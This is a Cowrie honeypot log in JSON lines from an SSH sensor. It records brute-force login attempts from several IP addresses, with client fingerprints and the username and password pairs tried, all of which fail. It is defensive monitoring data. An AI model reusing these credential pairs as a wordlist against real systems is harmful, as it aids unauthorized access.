{"eventid":"cowrie.login.failed","username":"esroot","password":"esroot","message":"login attempt [esroot/esroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:53.905268Z","src_ip":"5.196.136.131","session":"0793f64a2d4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:54.989492Z","src_ip":"5.196.136.131","session":"0793f64a2d4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":22417,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c21c4ef2d1f","protocol":"ssh","message":"New connection: 5.196.136.131:22417 (10.17.0.5:22) [session: 6c21c4ef2d1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:57.966911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:57.969642Z","src_ip":"5.196.136.131","session":"6c21c4ef2d1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:58.050004Z","src_ip":"5.196.136.131","session":"6c21c4ef2d1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe","message":"login attempt [frappe/frappe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:58.293151Z","src_ip":"5.196.136.131","session":"6c21c4ef2d1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:59.376810Z","src_ip":"5.196.136.131","session":"6c21c4ef2d1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":10677,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9f2d5eaa8af","protocol":"ssh","message":"New connection: 5.196.136.131:10677 (10.17.0.5:22) [session: e9f2d5eaa8af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:02.439591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:02.446953Z","src_ip":"5.196.136.131","session":"e9f2d5eaa8af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:02.525515Z","src_ip":"5.196.136.131","session":"e9f2d5eaa8af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe@123","message":"login attempt [frappe/frappe@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:02.762613Z","src_ip":"5.196.136.131","session":"e9f2d5eaa8af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:03.843842Z","src_ip":"5.196.136.131","session":"e9f2d5eaa8af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":38246,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d6c0bc15910","protocol":"ssh","message":"New connection: 91.92.40.176:38246 (10.17.0.5:22) [session: 9d6c0bc15910]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:05.399736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:05.403486Z","src_ip":"91.92.40.176","session":"9d6c0bc15910","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:05.484235Z","src_ip":"91.92.40.176","session":"9d6c0bc15910","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"qwerty","message":"login attempt [nginx/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:05.733037Z","src_ip":"91.92.40.176","session":"9d6c0bc15910","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:06.817335Z","src_ip":"91.92.40.176","session":"9d6c0bc15910","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":42896,"dst_ip":"10.17.0.5","dst_port":22,"session":"addce549e52c","protocol":"ssh","message":"New connection: 5.196.136.131:42896 (10.17.0.5:22) [session: addce549e52c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:06.854972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:06.860765Z","src_ip":"5.196.136.131","session":"addce549e52c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:06.941492Z","src_ip":"5.196.136.131","session":"addce549e52c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"init","password":"init","message":"login attempt [init/init] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:07.185602Z","src_ip":"5.196.136.131","session":"addce549e52c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:08.268722Z","src_ip":"5.196.136.131","session":"addce549e52c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.454610109329224,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:09.601739Z","src_ip":"170.64.224.25","session":"08cbd939ef57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":35832,"dst_ip":"10.17.0.5","dst_port":22,"session":"8678c7aabce3","protocol":"ssh","message":"New connection: 5.196.136.131:35832 (10.17.0.5:22) [session: 8678c7aabce3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:11.196188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:11.199490Z","src_ip":"5.196.136.131","session":"8678c7aabce3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:11.309932Z","src_ip":"5.196.136.131","session":"8678c7aabce3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"joel","password":"joel","message":"login attempt [joel/joel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:11.559261Z","src_ip":"5.196.136.131","session":"8678c7aabce3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:12.647022Z","src_ip":"5.196.136.131","session":"8678c7aabce3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":54025,"dst_ip":"10.17.0.5","dst_port":22,"session":"feded076004f","protocol":"ssh","message":"New connection: 5.196.136.131:54025 (10.17.0.5:22) [session: feded076004f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:15.596352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:15.600137Z","src_ip":"5.196.136.131","session":"feded076004f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:15.675527Z","src_ip":"5.196.136.131","session":"feded076004f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx123","message":"login attempt [nginx/nginx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:15.950225Z","src_ip":"5.196.136.131","session":"feded076004f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:17.027228Z","src_ip":"5.196.136.131","session":"feded076004f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":25911,"dst_ip":"10.17.0.5","dst_port":22,"session":"008847b4be37","protocol":"ssh","message":"New connection: 5.196.136.131:25911 (10.17.0.5:22) [session: 008847b4be37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:20.034501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:20.039137Z","src_ip":"5.196.136.131","session":"008847b4be37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:20.117781Z","src_ip":"5.196.136.131","session":"008847b4be37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"playground","password":"playground","message":"login attempt [playground/playground] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:20.355806Z","src_ip":"5.196.136.131","session":"008847b4be37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:21.436345Z","src_ip":"5.196.136.131","session":"008847b4be37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.90.19.40","src_port":59154,"dst_ip":"10.17.0.5","dst_port":22,"session":"277b140418d7","protocol":"ssh","message":"New connection: 78.90.19.40:59154 (10.17.0.5:22) [session: 277b140418d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:22.921958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:22.925501Z","src_ip":"78.90.19.40","session":"277b140418d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:23.061451Z","src_ip":"78.90.19.40","session":"277b140418d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2025@#","message":"login attempt [root/unitedstates2025@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:23.462272Z","src_ip":"78.90.19.40","session":"277b140418d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":11532,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8cc391fd8c6","protocol":"ssh","message":"New connection: 5.196.136.131:11532 (10.17.0.5:22) [session: d8cc391fd8c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:24.408416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:24.411581Z","src_ip":"5.196.136.131","session":"d8cc391fd8c6","protocol":"ssh"}
